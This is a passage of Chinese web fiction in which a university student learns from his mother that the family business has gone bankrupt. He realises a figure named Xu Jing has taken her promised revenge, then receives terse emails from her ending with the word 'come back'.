直到某天,以往一直准时发放的生活费没发下来,小崔没忍住提醒了一下她妈,结果,她妈立马给他打了个电话,支支吾吾地问:“孩子啊,你以前的压岁钱还有吗?先将就着用吧……”
“到底怎么了?”
他妈怎么突然说到他的压岁钱?他的压岁钱原主从来不存,根本没剩多少了。
“孩子,你看新闻吗?”他妈妈似乎并不好意思说这件事,说话的时候甚至还有哽咽声。
他打开手机,搜索了一下他爸的名字,结果搜出了个晴天霹雳。
与此同时,他妈妈似乎调整好了情绪,说:
“孩子,我们家,破产了。”
他们公司似乎是被人针对,不仅资金链断了,连以往一直合作的供应链也断了。他老爹即时止损,宣告破产,却也仅仅是将债务控制在几百万。
几百万已经算是损失最小了。
业内几乎没有人对他们施以援手。
其实他们公司的经济危机在一两个月前就浮现,只是当时,他们夫妻都觉得只是小事。
他们公司是一代代继承,作为老牌企业已经经营了几十年,怎么可能这么轻易地毁在他这一代里。
结果,他们卖了好几套车房,到最后几乎没什么东西可卖了,才告诉了那个还在读大学的儿子。
他老妈这次打电话,其实还有指望小崔压岁钱救济的意思,但没办法,救不了一点。
他们怎么都想不通,到底是谁在刻意地针对,原本他们两夫妻就算啥都不干,吃老本都够晚年衣食无忧,破产这件事,他们做噩梦都不稀罕做。
小崔知道,许鲸来履行她的诺言了。
破产,这是报复全家的吧……
许久未收到邮件的邮箱再次收到了消息。
一个句号。
他已读,却不知如何回复。
“收到惊喜了吗?”
……
“好像有点晚了。”
……
对方发信息的时候总是故意停顿几秒,像是刻意等他读完。
下一条的停顿时间尤其地长——
“回来。”
他关闭了邮箱。